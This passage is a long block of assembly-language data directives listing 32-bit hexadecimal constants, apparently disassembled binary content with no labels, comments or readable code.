		dd 0E5EBC0DDh, 82004277h, 0DCEEA3FCh, 0B86AB83Ah, 311007Dh
		dd 48B3B16Bh, 0B628C1EBh, 0F41EAC72h, 23807470h, 4E4F5E6Fh
		dd 0C8B3506Ah, 0B142008Fh, 943D7072h, 9F000ED1h, 23D20B3Ch
		dd 4F127h, 4853D4E1h, 0F8B7C4E6h, 0EA001898h, 0A96A9232h
		dd 3ED88Ch, 0AB6CEE9Fh,	48B259D2h, 0A003490h, 0E3DE5020h
		dd 68D8E6h, 0A1B9846Bh,	0CA18B645h, 4DD56E03h, 0A199D9DFh
		dd 0EB5A7Fh, 7BB99338h,	6E0F8A59h, 0A7242E1Ch, 504ECC0h
		dd 6022E87Dh, 0C4D328CFh, 0D10E4E5Ah, 0C1F4A656h, 13732BBEh
		dd 24A14C60h, 124893F1h, 638C0319h, 0BCA01ADCh,	0C0085FFh
		dd 0BE20B727h, 0E4E3A1h, 0B1845953h, 30F45D01h,	639DA60Fh
		dd 7D01BC8Ah, 7552C9EDh, 389471C8h, 21E07943h, 0BBE41342h
		dd 140488D3h, 0B641F072h, 20778359h, 5E2461C4h,	4C00C3F2h
		dd 0B84268E4h, 48E900E0h, 0EB1190C1h, 3A0435BEh, 6E5F9ED0h
		dd 0A84188C0h, 992C0055h, 3BBA15B5h, 4F00EEF6h,	0CA7E8A5Bh
		dd 0EC850A6Bh, 575C00E2h, 0EBE0F5A2h, 0C2076574h, 410C3828h
		dd 85F4B6F0h, 80E00EAh,	614321EFh, 9B289C8Eh, 8D07C390h
		dd 0C8C47114h, 5B8E156h, 1DB72B44h, 6E20D036h, 4A74662Fh
		dd 973B8CE0h, 214CC77h,	5621CB87h, 948480A7h, 130FCDD0h
		dd 65AD31h, 73F2981Ch, 970E4F30h, 0F3C81AEFh, 81901040h
		dd 18989F88h, 40A128DEh, 0C90C825Fh, 793A2526h,	10153B3Ch
		dd 7AE88E80h, 92398B72h, 34FC0DEAh, 88068174h, 697FFD4h
		dd 53F4A090h, 5F930E4h,	0B04EC480h, 0E29B6D10h,	7D0A1548h
		dd 3CC721Eh, 9735FB85h,	5D449000h, 0E4BA0BA4h, 1EBC796Ch
		dd 0C0910AB4h, 7051CB6Fh, 8D028655h, 0C276C5B1h, 0C8ECE371h
		dd 48590721h, 670228C4h, 0D2451448h, 0AF2F7400h, 309FE8A8h
		dd 5190041Ch, 340083CDh, 822C3A0h, 127B39DBh, 0E9438EAh
		dd 35602B08h, 9FB30577h, 341DC507h, 0D9901AE2h,	7DC1F73Ah
		dd 0BE7F00EDh, 9807CC86h, 0D03A1B0h, 0BFC8C984h, 10E9F894h
		dd 34090018h, 0AD4F1DFCh, 2A00F4E3h, 1E9D171Fh,	0F563E85h
		dd 9EE16412h, 0F83B4BE0h, 0A8717795h, 988B8700h, 18FAB811h
		dd 9A2B1EEBh, 0AC454790h, 312CF08Ah, 0A174261Dh, 9B44E500h
		dd 94A5E0EAh, 8428007Bh, 988A724Fh, 81587997h, 0E6007D2Eh
		dd 7AF4AF33h, 20C8743h,	0FEAD1DD3h, 0CE604270h,	20C735D2h
		dd 0C090A9DFh, 51F1B5h,	47E02BACh, 5AF6B6C3h, 0DE29B400h
		dd 0BD6A3A66h, 0C6DC6AC9h
		dd 16F171Bh, 1CA8D188h,	3F706476h, 8C717D2Eh, 8024C089h
		dd 95DDA128h, 1E2FCD6h,	17E46D12h, 0E07A7B5Eh, 0BD0753EBh
		dd 0D2B0B435h, 0CEA1802Fh, 483C766Eh, 7400BFF8h, 216C86Ah
		dd 272EEB78h, 0D300E823h, 95F4A72Ch, 8E4A8F0h, 5A341FDFh
		dd 0FC1C80A0h, 3C422989h, 1A021307h, 2B409439h,	75C5A6Bh
		dd 7E86669h, 4B097065h,	32603BDBh, 5C2F5558h, 0DA0E3ED0h
		dd 204A5F9Ah, 512989C0h, 2031FB00h, 0CA0C9145h,	0AA7209F9h
		dd 0BC8F491Ch, 0AD4C00B3h, 0AB398A82h, 0FBDA3507h, 13939185h
		dd 0EC280297h, 3EBF88CDh, 2BDC5468h, 47008DEEh,	0A61A1681h
		dd 795298CFh, 0FD3B0017h, 6C3F65DBh, 0DA5D4CA0h, 161903C0h
		dd 0F899A322h, 723F6F9h, 30CDFF02h, 6D211229h, 36000870h
		dd 5F3F8B73h, 70A8EDAAh, 962800F9h, 12DB40C8h, 0E139ECFh
		dd 8000DDB7h, 0CC698490h, 5FC8F7CEh, 3C3903C3h,	0AB80ACB3h
		dd 0A4401B82h, 8F03B155h, 302E280Eh, 0DF228095h, 0EBA40351h
		dd 0E2B61F29h, 928AD83Fh, 0AF078E9Dh, 3A8088B7h, 1969C9Bh
		dd 838BAC41h, 0D09A9932h, 0D50176A0h, 0DF598ED0h, 8930E6C8h
		dd 5C7300D3h, 5AE0C6E7h, 47008A57h, 983575B1h, 2CB059Ah
		dd 5FA9CC2Fh, 0F4685EF2h, 5004C596h, 0C8E1AF8Ah, 0BB370CC1h
		dd 61C020h, 3FFD644Ah, 0CCF71550h, 5EDAE39h, 0F1428755h
		dd 0C19BFC00h, 9DA5A9h,	0B1832606h, 3AD74B0Bh, 0F4EC6400h
		dd 5C72E251h, 0F74F070Ch, 4043F2B8h, 60741AB4h,	5610C600h
		dd 0AB98C3ADh, 1DD0008Dh, 0F2545CEAh, 590403FBh, 0A3BB34F0h
		dd 885265C1h, 0E872DCh,	39C5711Ch, 33C2D39Eh, 37ACF20Fh
		dd 0A4EAAAEBh, 87CBB16h, 8F0640CFh, 0C340C6DCh,	0E6D65C77h
		dd 607B7Eh, 91242A3Ah, 350BCD8Dh, 309BD00h, 0E3A93D25h
		dd 70D7F84h, 0C5F8CF63h, 0FED0B061h, 0BB1F0FDFh, 823BA4AAh
		dd 8AEE2AD4h, 0B248402Dh, 67770010h, 6DF42EB1h,	21C3B5DDh
		dd 0A8251C0Eh, 0E514BCh, 875315BAh, 0BFB1A801h,	56261E00h
		dd 8A51E805h, 0A4EE72C3h, 4B7600F0h, 38645377h,	3AE4A4D2h
		dd 0D5667300h, 469851B6h, 32718BCh, 9094206Dh, 7C009C90h
		dd 0CB3DD7DFh, 17B039A3h, 0F0AC93AEh, 84037F41h, 0ECED3C5h
		dd 9B1CF0DFh, 19AF1DB4h, 12003C9Ch, 1FAA1EE8h, 2300D994h
		dd 0B33BAD35h, 0AFDB78h, 2B6657CFh, 5362CD50h, 29B2C200h
		dd 77F2960Eh, 0A6870016h, 4A90011Dh, 6CF48D2Ah,	12827D05h
		dd 0C9C036D4h, 934B6Eh,	46B7E7F5h, 20640FFBh, 96C19E00h
		dd 18039A3Ch, 0C2991E3Fh, 0F3BC09h, 0B301AD3h, 67683697h
		dd 0F8CB2500h, 0EEEB4345h, 3D6000D0h, 0A5F3737Fh, 2270CAD9h
		dd 46F68600h, 9F34BEC7h, 0F76001A6h, 0D35076Ch,	241AEC0Ah
		dd 37AB0B00h, 6396B5A5h, 56610077h, 952AB3C1h, 5F2E46C3h
		dd 0D8800C3Fh, 697CBBC9h, 5AD20093h, 0D76367B1h, 22271F09h
		dd 0BDBC2085h, 60EBB2h,	7497AF47h, 2F842478h, 78895280h
		dd 1B8F3A3Bh, 0EBB007Ah, 37620C03h, 22E42EBCh, 0A75B1D09h
		dd 3ED0803Ch, 0E0F23Fh,	90320AD2h, 0DBE641CBh, 66DF1B00h
		dd 0ADBB101Ch, 34B272h,	0DCB286D2h, 857DBD0h, 0EEA07C90h
		dd 0D70A4569h, 0D95865F5h, 0E0B0DC0Fh, 4202128Ah, 45190066h
		dd 5059E3A2h, 0B7000454h, 0C8F39316h, 1E4AA0Ah,	0E5171511h
		dd 0E2E08ED8h, 8B070240h, 0D46FD4F5h, 183F6C00h, 7F12A3B6h
		dd 775D004Fh, 462C96C3h, 8300E303h, 1D26B486h, 19431Ah
		dd 0EF2D5E80h, 8FFE2EFDh, 7EBD41Eh, 4B29A000h, 2CE9D9FBh
		dd 3447C01h, 91262765h,	0D02F7DF1h, 0F6EA0E55h,	0A19BE07h
		dd 0F3DF35FDh, 50BD7004h, 0C34334C0h, 0B32B0067h, 5B536B0Ah
		dd 0CD015F0Fh, 8E293344h, 16CCAB9Dh, 0C5560512h, 90708ADDh
		dd 0CDD16708h, 0BBA92105h, 0A0000B72h, 854A2CAEh, 8A6300B0h
		dd 9D5D17DBh, 0F9005ECFh, 865755E9h, 58EF7675h,	4801000Fh
		dd 2FF613C9h, 0C41C2596h, 29006EF1h, 0FCC30E57h, 7B5927A9h
		dd 90EC00D5h, 9CF49945h, 3D481855h, 0DC14519Fh,	2C044094h
		dd 342D3606h, 33D9C0C0h, 840900A2h, 479A388h, 0E3EA1375h
		dd 4AE0A409h, 5E6CC012h, 37078C1h, 36649C67h, 885A964Eh
		dd 0E1DE003Ah, 0D41F9E16h, 908D4707h, 809BD1A0h, 214C0E7Ah
		dd 9F53DEh, 3BDAB2CCh, 11003A0Ah, 0A1570FBEh, 0C7EFE3h
		dd 804F8E53h, 794E3286h, 62B0CB00h, 6A4584EAh, 0AC6348BCh
		dd 8B1B6E00h, 0A48815E1h, 8F544C00h, 0C8E55A0Dh, 2A2600F5h
		dd 0FE3073DFh, 0C7009C2Dh, 0B385DDF8h, 0FA351AFDh, 997C00E7h
		dd 63F1E52h, 560004FBh,	6305E5F3h, 0F264BAh, 2B355AB7h
		dd 53E9A793h, 3E28E200h, 0AF6DEDB4h, 0D4EB0026h, 0DF4EC439h
		dd 2500FEF9h, 3675C690h, 748897h, 6F84ABA1h, 0D468B39Eh
		dd 571ACA02h, 0A0F2C2E6h, 4942C9C4h, 626500C5h,	4C0DCC50h
		dd 6F71C732h, 0EA95100h, 90060884h, 0E5C2059Ch,	0CAE47Fh
		dd 0EADCDAD8h, 0B100F7E6h, 0DDE08C59h, 51B3AEDBh, 0B5F8C4A7h
		dd 383CB962h, 5708C544h, 26E6F14Ch, 91D00E4Bh, 74B35E40h
		dd 9F033E6Eh, 0B85D9290h, 0E0368A87h, 0A47F4Ch,	72D4D96Ah
		dd 0E2C4EB65h, 0D7D87505h, 0C6806877h, 17535E7Ch, 0B55B7Eh
		dd 0B9B6AC3Ch, 72165DD0h, 0C847F6E1h, 8001EE4Bh, 0E82953FEh
		dd 0AE270500h, 295715FBh, 0A8786B00h, 796A6290h, 216E00B5h
		dd 0FD1F7E45h, 57019C1Eh, 0BCE6492Dh, 0E8403E6Fh, 49960504h
		dd 3D00B003h, 1DD88EDBh, 0A31730BAh, 0D800F7C2h, 78BCF9D3h
		dd 0C60630F8h, 0A75338EAh, 0C7BB3900h, 284AAA17h, 6BFC079Ch
		dd 548071A8h, 42D8C07Ch, 1400B662h, 58D58C52h, 1FC367h
		dd 26667725h, 8602FA19h, 6109EC00h, 0FC963D3h, 6D10053h
		dd 0D243CFCh, 0F612EE6Fh, 185D254Bh, 8DAAA240h,	1F9A9D6Eh
		dd 83B87B8Bh, 6CF0B957h, 0A93BCEE8h, 9CBDA304h,	19C3D26Dh
		dd 4CF9C905h, 0E88098D5h, 61AD2EEDh, 3D0046C1h,	0A738D171h
		dd 0FA43CB63h, 30D2306Eh, 0F648CC20h, 9003C100h, 7E2DB466h
		dd 0AC600F0h, 2F9C4D93h, 20090174h, 2AD1FB2h, 4181561Ch
		dd 0BC7C0865h, 22D22A13h, 0D4A06984h, 74AB27E5h, 0CB721B00h
		dd 0A8F8D7C7h, 973005CDh, 1C68D1BEh, 2CBBC7CAh,	59FA90EAh
		dd 8A0122B3h, 1BA7D204h, 3CE041CEh, 57F80067h, 0A8AD9F4Dh
		dd 0AF3EABA3h, 748DCC1Ah, 6A4C1000h, 9858F9E4h,	0BD3700BBh
		dd 1F20BC25h, 3500EC03h, 1E19EA9Bh, 4B34A7h, 2B7137D6h
		dd 0AF21CBE4h, 0B8DB7E0Ch, 7A07C832h, 91E030Ch,	0F143AFAh
		dd 0B1870A7h, 110035FBh, 1A3CF202h, 3CEBE012h, 0F01E31DAh
		dd 8F5201B8h, 0E8F4FE03h, 68001720h, 0CD2942Eh,	4861184h
		dd 2407B343h, 2FE4B057h, 2000B05Bh, 2EC003CEh, 227009Dh
		dd 0AA9C35C7h, 36EC171Ah, 0F72AA200h, 6E7B48Bh,	0BD78ECh
		dd 0EFAA94E9h, 737C0D3h, 0A6D0C300h, 35BAD1F9h,	0CBC20C06h
		dd 0AC20F1A5h, 0FC86E500h, 0F0AD2D70h, 8B2300E6h, 96327A0Fh
		dd 2100ECF8h, 1A9D7EAAh, 56DCC2h, 731BC64Eh, 6A72CB70h
		dd 7F9EC300h, 0A5E73C76h, 43D1000Dh, 1A712532h,	0EA169260h
		dd 0C020840Fh, 74C98A2Eh, 6F7F50h, 593D24D3h, 0AEF15341h
		dd 5E570D2Dh, 274B0034h, 0FC1C7C61h, 1507EA00h,	79C86986h
		dd 8D5F00BEh, 7CADA4DDh, 0D50F830Bh, 0E01C640Eh, 2C77B411h
		dd 71490050h, 0D2991369h, 0E700D8A2h, 557EEA8Dh, 168C90CCh
		dd 0C991B974h, 0A0E0DADCh
		dd 0D3074A46h, 30C6B80h, 0F0D2DD52h, 0BD3200C0h, 948F9F0Dh
		dd 0FF1F76B8h, 4413B66Bh, 2FD6A00h, 90E3057h, 0DD99BD8Eh
		dd 3C601E00h, 740EAF1Eh, 466223h, 3120EC94h, 985303B0h
		dd 2B69F4C3h, 0F1E0BCD8h, 1C5B0C2Eh, 0E600DD90h, 0A766D6E2h
		dd 0F813CC75h, 4400FC55h, 2C23D4A6h, 6815606Bh,	0F7A82D2Fh
		dd 29005B7Fh, 4EF99671h, 580AE513h, 411E88C6h, 9400B963h
		dd 5AF40CC9h, 0AC19F1DFh, 7D702DA8h, 43F874h, 98A0E123h
		dd 517E27Fh, 62FE4E1h, 0BA38600h, 0DD40F08Eh, 0EEEEB8h
		dd 0CDEB3A80h, 51107F6Bh, 6AE00800h, 0E1EF4EECh, 0E9A7959h
		dd 0F9860738h, 60102207h, 0FA9833F8h, 81FDE800h, 0DC31D30Fh
		dd 0ADF7004Ch, 76B7CC79h, 5FEEC3D0h, 6A5D6E01h,	61A158ACh
		dd 36CF0D2h, 0C1E80D54h, 94885E30h, 0A01CAA65h,	0FFDF45C0h
		dd 697DE402h, 1BD06040h, 0A73B01CFh, 849D2FD5h,	0BDA0404Ah
		dd 412D2B4Ch, 47440095h, 1F3BB7E4h, 0C0C36E58h,	0AD333FFAh
		dd 89009856h, 34446BE1h, 3FE4A9A0h, 2E80038Ch, 6062BE3Eh
		dd 3790075Ch, 5090790h,	0C05D8C97h, 388C224h, 8ADCD565h
		dd 72C0BF6Fh, 0BE1FC363h, 0DBDF6489h, 0CB00BE26h, 0A87E3DF8h
		dd 3C9486h, 0AB8C79AEh,	0DF77948Bh, 5F0B62FAh, 0AA4FD2h
		dd 0FDA2808Ch, 0B05959D0h, 40993A1Ch, 5A734A95h, 9400C391h
		dd 0F21479F3h, 0F8A91DD4h, 0B088EAD5h, 1B282803h, 5CAB07E8h
		dd 4797CF4Bh, 0F82E10B2h, 2C7A8EDCh, 39C09300h,	7244FE07h
		dd 81621C13h, 0D0E499h,	0B3A1AB69h, 9145327h, 1DE8F24Bh
		dd 0F013CA22h, 0C2F7BC0Bh, 8FBE8044h, 0C365E2h,	8005635Fh
		dd 9606C6FAh, 1F2A5300h, 0E6D07F84h, 406000D9h,	0F4ECDB0Ch
		dd 60B04DB7h, 0B913700h, 1CA5A102h, 3DAA009Fh, 0C3D80D7Fh
		dd 0BA707DD5h, 0F84C0400h, 0ACB23A85h, 0CBA70099h, 1236C2E4h
		dd 74258456h, 98A46BF0h, 0B3853h, 92B47BDEh, 0EDB96252h
		dd 0FCD659h, 0A8546665h, 0E6F48E09h, 0FB000A9h,	58B33ACh
		dd 0DFCAA07h, 0C034EA00h, 89B49DEh, 952D00DFh, 822E7906h
		dd 3503E60Bh, 0A789FC97h, 0C0AB923Ah, 0F629DE88h, 0A9240F2Eh
		dd 2140C265h, 22D1766Fh, 3EED7200h, 108EFF70h, 0A81C5E75h
		dd 37560F08h, 0CEFEE098h, 12C3749Fh, 0E024AF89h, 38C3FA6Ch
		dd 7D8400Bh, 0B7D69610h, 0B8AAD09Bh, 0C82C9C98h, 80B81820h
		dd 0FC2C5463h, 1C9E99Dh, 68F3E7F4h, 0E94B11FFh,	1F682278h
		dd 0F9BF585Ch, 1DD0C100h, 0C39966F5h, 90F0B23h,	4900E0E5h
		dd 4D483B21h, 0E95B8A00h, 17A18EC6h, 617200C0h,	2273BDD8h
		dd 151CA632h, 0BE809EFBh, 550FCFF1h, 9D090036h,	897F8A4Ch
		dd 0C5057262h, 4AD3414Eh, 0B2B99200h, 0B3490h, 8B319406h
		dd 2289B481h, 3E078E70h, 0AAD79B29h, 0DFC3F127h, 3AFDD00Eh
		dd 517736h, 43423E9h, 6E719448h, 640493F8h, 31D0E07Bh
		dd 2200D8BCh, 23DFCA13h, 59C03589h, 8B289ACDh, 9524003Bh
		dd 3BDC419h, 8D1E942Ah,	1DC0B972h, 6F7A4A65h, 0FBE26D9h
		dd 76460F74h, 0CBA502E0h, 27617313h, 0C3AC3460h, 15E0B075h
		dd 4D461859h, 0A741080Bh, 782C223Eh, 641647ECh,	640F31B0h
		dd 80EF6078h, 78A24679h, 67B3127Dh, 414C47E5h, 382A76B8h
		dd 6A466903h, 1F266898h, 3BEE71h, 8C30A48Bh, 851437C9h
		dd 1488913h, 0D78958Eh,	4C4025ADh, 5246619Dh, 84011432h
		dd 8E3C4B70h, 0C4D4308Bh, 0B7738h, 5965CAD4h, 7FD7E424h
		dd 8685032Dh, 0DC0E21A1h, 29F33B88h, 0FB347000h, 5E569646h
		dd 19080ED1h, 0ED20EA30h, 18650338h, 6D211600h,	0A8879E05h
		dd 86170041h, 30D009B6h, 9C61F91Bh, 9B842078h, 0DA55CCh
		dd 0E3E2B262h, 6857AD91h, 0A862B03h, 80773D1Dh,	28780583h
		dd 0E7E744h, 49DB9B24h,	0D28A6639h, 0D5581200h,	72E53570h
		dd 0A34D00CDh, 0DB252E0Dh, 3E057B77h, 4517FC30h, 0E07E8EC2h
		dd 0C153DFh, 0EA826720h, 3E6E86DEh, 10E531F9h, 5A24EE9Ch
		dd 0CDF8F4Eh, 2833AB0Ch, 4B4CDE10h, 4E23A08h, 35EB049Fh
		dd 9E4A18D0h, 2DEA200Fh, 80A1E73Ch, 0E949B4C8h,	27D2E4h
		dd 2E6E0B8Fh, 25E8EC92h, 9182AE05h, 0C4C0DE06h,	757D35Ah
		dd 51388B72h, 18407942h, 1F008DACh, 21B90D22h, 954D84A0h
		dd 48158020h, 0C9005958h, 6BA117D6h, 2D8935Ch, 9A2C09BFh
		dd 0E0D8708Fh, 794B6000h, 4E7ED06Eh, 51193AAFh,	168B8F00h
		dd 34F012B4h, 0A79D8300h, 81DDC904h, 0A0390055h, 2F3B28B7h
		dd 4900E87Dh, 82664CEh,	0F23CD09Dh, 24821E18h, 94978720h
		dd 129080BFh, 32F4A504h, 91CC6600h, 0CF755BC6h,	55F227CEh
		dd 0BB6B6404h, 0D6E08B02h, 0C3FA8054h, 0BC5166h, 410423CCh
		dd 0DACAC048h, 620F6501h, 9ECF4937h, 2E777DCh, 30035AFFh
		dd 2CC2952Bh, 0E30054F0h, 84BCC846h, 0B84C5AF1h, 5CE20040h
		dd 0BBCED5C9h, 3F75E65Eh, 0F1AAD405h, 0F0401605h, 50302E32h
		dd 792800A1h, 4214A98Ah, 0B4254862h, 0EF44E027h, 0E2E050h
		dd 0A90361Fh, 0FAD8B1B7h, 4F3F5201h, 655A5770h,	7B00EF8h
		dd 82D191F1h, 0A3017940h, 0E553D25Bh, 2B2474B3h, 0FCEA2F79h
		dd 40C4E458h, 963825A0h, 19A280A5h, 1CB1BF21h, 0B5C2009Bh
		dd 0A6429415h, 502F858Ch, 0B8D40079h, 0EDE36D4h, 9337E740h
		dd 0A5B67A00h, 0B1007098h, 0ACE697A0h, 23E52EFh, 9D9CC66Dh
		dd 0D05CA189h, 94233604h, 0D06694C0h, 0B654002Eh, 0C543FC1Fh
		dd 0CB1C87B7h, 6500304Eh, 6228BD45h, 0E2BCB8E8h, 0EEEB0261h
		dd 8392D2C3h, 0B0AA482h, 88909B25h, 0BD5AF8h, 0C547E02Ah
		dd 711E7FAFh, 0C83A881Eh, 9C447DC0h, 2A3EB09h, 640B7C97h
		dd 9A60CEE9h, 14005565h, 0AB1C6EA4h, 0ACD939h, 2AECF8A7h
		dd 4A5B26B2h, 78C5DB31h, 3312E6F2h, 92BBE18h, 0CE9943E1h
		dd 492CBC60h, 0E90C5Ch,	0ECCFDC77h, 0F70151h, 1DCB0A2Eh
		dd 0A80F32B8h, 1C7F283Bh, 0CA007024h, 17E02244h, 5EE8FDB9h
		dd 0A23A09D2h, 38007BE3h, 0E2229564h, 0F40E6305h, 90D09BCAh
		dd 6F8CE9h, 9594C802h, 0E30CDCA7h, 0C4710300h, 0E40D4044h
		dd 0AAC200D3h, 65645ACCh, 450A4B76h, 0EC903910h, 5F93780Fh
		dd 853516C9h, 0AA82F1D3h, 0D80463CDh, 1E0D456Dh, 0C12EBDAFh
		dd 66A5F6EEh, 9C9870DCh, 5B77D800h, 0B9FCCE43h,	8CDF48ADh
		dd 388E0B00h, 0C0EB88A8h, 982DFE00h, 0E2344857h, 2649005Dh
		dd 0ECAC5275h, 0A9004FD3h, 0B68021CBh, 0EB32B8Fh, 0E6178815h
		dd 0E3A1AB80h, 540082D4h, 2D035C63h, 3AD0A03Eh,	2C2CCF8Fh
		dd 0DC9083B8h, 3103B2ADh, 0CF54E0E9h, 75800AAh,	0B7064735h
		dd 4460D264h, 0DFE61178h, 0BF901F6Eh, 44679333h, 0A8CAE0BCh
		dd 77113F50h, 1335BE3Bh, 0D4E1857Ah, 286DFCh, 91A4E3EEh
		dd 0ED680788h, 3C6BA3Ah, 7224D8C7h, 0E28EA07Bh,	0B4F203EAh
		dd 0DF933240h, 800876C8h, 0D785BF00h, 90335BB3h, 6345000Ch
		dd 825355ECh, 0D4E58EABh, 6600B984h, 0EF3CC657h, 13DF810Dh
		dd 0C041A5F1h, 0CFD17A84h, 0FE007C9Eh, 6C4A0ACCh, 88322CF5h
		dd 7F2D0011h, 144004A4h, 5C76CA07h, 0DD2001D9h,	712BBCFh
		dd 8047F848h, 1B956094h, 0F300B126h, 0B7C48A6Ch, 61C040Fh
		dd 343F1E58h, 320010B8h, 0ED6CD9A4h, 749FABh, 61FA9B43h
		dd 319D4671h, 0DF5B9E02h, 49ACA2CFh, 3C7CFB90h,	4BBBAA82h
		dd 8400BCD0h, 8B9F8005h, 1E570E0Ah, 0C1A7A563h,	89AFBDABh
		dd 0A20C6014h, 0A09BB02h
		dd 406D7B4Bh, 17EF2D4h,	1F8B3857h, 3FA56C7Fh, 12A77D00h
		dd 72E6AA0h, 46C078AFh,	9287408Eh, 0CCBE9BFAh, 5BFC2700h
		dd 4B52F5h, 59DCB353h, 2196A580h, 0D0463C35h, 524D9471h
		dd 0F1A0BB40h, 69373FD5h, 1D116F81h, 2C5F85BCh,	9B2D28h
		dd 8B585210h, 15C63C92h, 0D9593302h, 562450h, 7680E6h
		dd 59BF4610h, 0DF244D91h, 0D44D9FEAh, 432A031Ch, 0D071320Ah
		dd 8F8667h, 58F702D3h, 0C2DF0C52h, 0A6F93600h, 84DABAFh
		dd 78ACB0F3h, 0E38A0E90h, 0DF2047FBh, 9137E83Fh, 487CFA00h
		dd 0CAF88680h, 3D3A0BC3h, 0D0808104h, 13830387h, 6D7C2Fh
		dd 0B7E19824h, 20D805F3h, 8084D75Ch, 7283D2A0h,	7C544116h
		dd 0E00D2448h, 1C70B966h, 94D0C64Eh, 83BC0h, 8C2542C4h
		dd 0F98EB15Bh, 3D61EB01h, 0ADD0FB69h, 7E838AECh, 0FE18005Fh
		dd 87854170h, 6209F552h, 4866B4B5h, 94AD6A5Ch, 4FC580BCh
		dd 1FCC4085h, 71322CE8h, 0FCB18E4h, 11396A06h, 47865700h
		dd 79919C70h, 0D8A40E46h, 6AAE6109h, 0B15148ACh, 4E57F25h
		dd 4F406488h, 853FB445h, 0F5B10800h, 24070D8Ah,	4C56016Ah
		dd 54466DB7h, 0A51600A1h, 871325C7h, 30ACDC13h,	3A4D47F9h
		dd 0A7EF109h, 24AC920Bh, 72130A10h, 8DA6021Ch, 0B8C01078h
		dd 8E1C3C51h, 9287808Fh, 0DE608CA7h, 0F03611h, 8791E732h
		dd 0F158C98Eh, 2E3F4100h, 2046FDAAh, 0E3D7006Eh, 3D45476Ch
		dd 56000FADh, 607C7E9Fh, 0C64881h, 4FEC5372h, 95AB4633h
		dd 5830BE00h, 0E543DD44h, 0AECF0E62h, 97E0BF24h, 40D928B0h
		dd 3AB39D3Eh, 3DA8CC89h, 0A7C8082h, 61F54755h, 36AD00A1h
		dd 91578D9Dh, 0A3007DBDh, 0CA6E4D5Ch, 43D7E6h, 7181F129h
		dd 476A65DFh, 4C69282Eh, 1FD3E800h, 0DC4575Eh, 2DACA3EEh
		dd 688221BEh, 10850540h, 0B0B95DF5h, 4E9A44EDh,	0FC8043F8h
		dd 0DE2D4D5Ah, 354B5800h, 2E4F54FAh, 4E553EF9h,	4056F81Ch
		dd 7D96A7ABh, 3C00B46Dh, 9FACE595h, 0B5707Ah, 0CBEB8BA4h
		dd 99984E28h, 0CF861104h, 0E0FDB3A7h, 94283780h, 0BE2C91C0h
		dd 0F501B4E1h, 0DA75E526h, 11F074h, 0A4BB0A33h,	204F7F10h
		dd 6B07AB2Ch, 41B43809h, 0B9E061C4h, 57460098h,	3E1CD8F1h
		dd 7690049Fh, 56EC6500h, 0BDDB5E2Dh, 52720FDFh,	0AE41CAA6h
		dd 8351E2EFh, 3F3DC2A4h, 6385E89Eh, 0C0BCACh, 0EBF610BBh
		dd 7C00980Dh, 0B25F41A7h, 79B591A3h, 7AA800ADh,	8D56C7D5h
		dd 6E05574Ah, 4254E148h, 1B805887h, 5AE5C3h, 10B07231h
		dd 6754797h, 0B50077E6h, 840FC127h, 17B71A8Dh, 439A6E6h
		dd 49A7FEA0h, 0A0804097h, 1EED002Fh, 0CE3E4AE5h, 0BF001D28h
		dd 101FC079h, 31EAFCFBh, 0A826604Fh, 0FEC220D8h, 8FBF4400h
		dd 1703AEFh, 0AE1A006Eh, 57D7A579h, 0CD3AEE06h,	5F31FA0Dh
		dd 2CD678DDh, 2F2EBF10h, 0C0FCFBEAh, 5EF92300h,	0E7091EB9h
		dd 712102D8h, 49D6B8FDh, 0FA00B8D4h, 0DD3A4F56h, 16FE04E8h
		dd 81F91A28h, 5024C3C4h, 71F8EBE4h, 4BCAD8A8h, 87AAC73Fh
		dd 0C8D42875h, 0D1DC7460h, 6CE7000Eh, 0E05B8E3Eh, 9D0022C3h
		dd 4EC96A18h, 3F4F81EFh, 2E185E5Dh, 0AA695932h,	3485A207h
		dd 0FCE0D423h, 4202B7h,	9C4678C0h, 0BCB1397Ah, 36E71102h
		dd 6028B553h, 35C84Ah, 0CE5F7DA5h, 6CE4B63Bh, 0D9F54402h
		dd 5504574Fh, 9DF8A6C3h, 0E9001356h, 0E7382545h, 1EB57695h
		dd 6ED39Ah, 33F10CBCh, 71CFC13h, 0A01D6E8h, 78C79529h
		dd 5265C4h, 0B87EEF9Eh,	0CA6B7A36h, 0D4A33200h,	0AB5059CBh
		dd 0A87127F1h, 242EECE8h, 2DBA5405h, 0DCE42FBFh, 48EF38DEh
		dd 3C6A79Eh, 89FC721Eh,	0F884A98h, 0ACBF7000h, 0AABBF2E5h
		dd 0A0E10081h, 0FB4943A9h, 4E2D749Ah, 78B0429Fh, 4DDD1260h
		dd 1E1CC0C5h, 97709A2Ch, 71E69360h, 0B43CFBh, 7827F321h
		dd 0D3B2A084h, 19FFE74h, 28CD4F5Ch, 0DE21D42Ch,	66A92480h
		dd 0E03148C4h, 7F8009Dh, 89FA1F2Dh, 210030A3h, 6A45FFA9h
		dd 358CC3h, 0A4AF975Ah,	4B2AEBD1h, 600F5707h, 6AD05C69h
		dd 0E604B42Bh, 4CC1009Bh, 0C6C55066h, 9FF796h, 0ABC478C4h
		dd 2CD200F2h, 0C846AD6Ch, 0C30983ECh, 68FBD153h, 12DFC7E8h
		dd 4E96F29h, 801757FEh,	16B69040h, 8AC28B09h, 524040D2h
		dd 0A1680055h, 3382CBBEh, 0FE004116h, 949C2324h, 92F82Eh
		dd 0A4D2F968h, 4222779Dh, 0EFE9E812h, 0BCCC0E0h, 0ADACB686h
		dd 0B3580000h, 0A008C24h, 4443E002h, 3877D7A4h,	91006F3Dh
		dd 0A2B383FDh, 0B004BE3h, 0CFEDEBDCh, 0CA8D50h,	0E0F5DAB2h
		dd 96963F2h, 7DBC4B00h,	7E4EC2D8h, 4FC000EEh, 154DCE77h
		dd 0E30034B2h, 0F80F9E2Eh, 8F08706h, 93855F1Ah,	50B25416h
		dd 1FCFF610h, 7CC0A184h, 41C783BBh, 0ED741D3Ch,	536280C6h
		dd 0BEE47079h, 210087B8h, 32024F7h, 4C9222B3h, 1E00926Eh
		dd 930482C7h, 0BF00EEDEh, 0EF8CD6C8h, 0A95C2F1Ah, 0A2BA4BCh
		dd 80D8771Ch, 21F6DEC8h, 463DF7CEh, 5E8D004Ch, 1D347D04h
		dd 24E30013h, 1B5809BEh, 1C004717h, 55BBD09Ch, 7D860A49h
		dd 0A9430016h, 0E9E212C4h, 0CE00E421h, 5F8723BBh, 6A1BACh
		dd 520E0294h, 0F1B90BBAh, 84263B78h, 0AE047FEEh, 0C8A0C42Ah
		dd 0FED20044h, 3C855650h, 7F1C13A1h, 2B00BE25h,	61AB7012h
		dd 364702C1h, 0AFC4D880h, 3E1E94C9h, 0F811CC40h, 35BEF2h
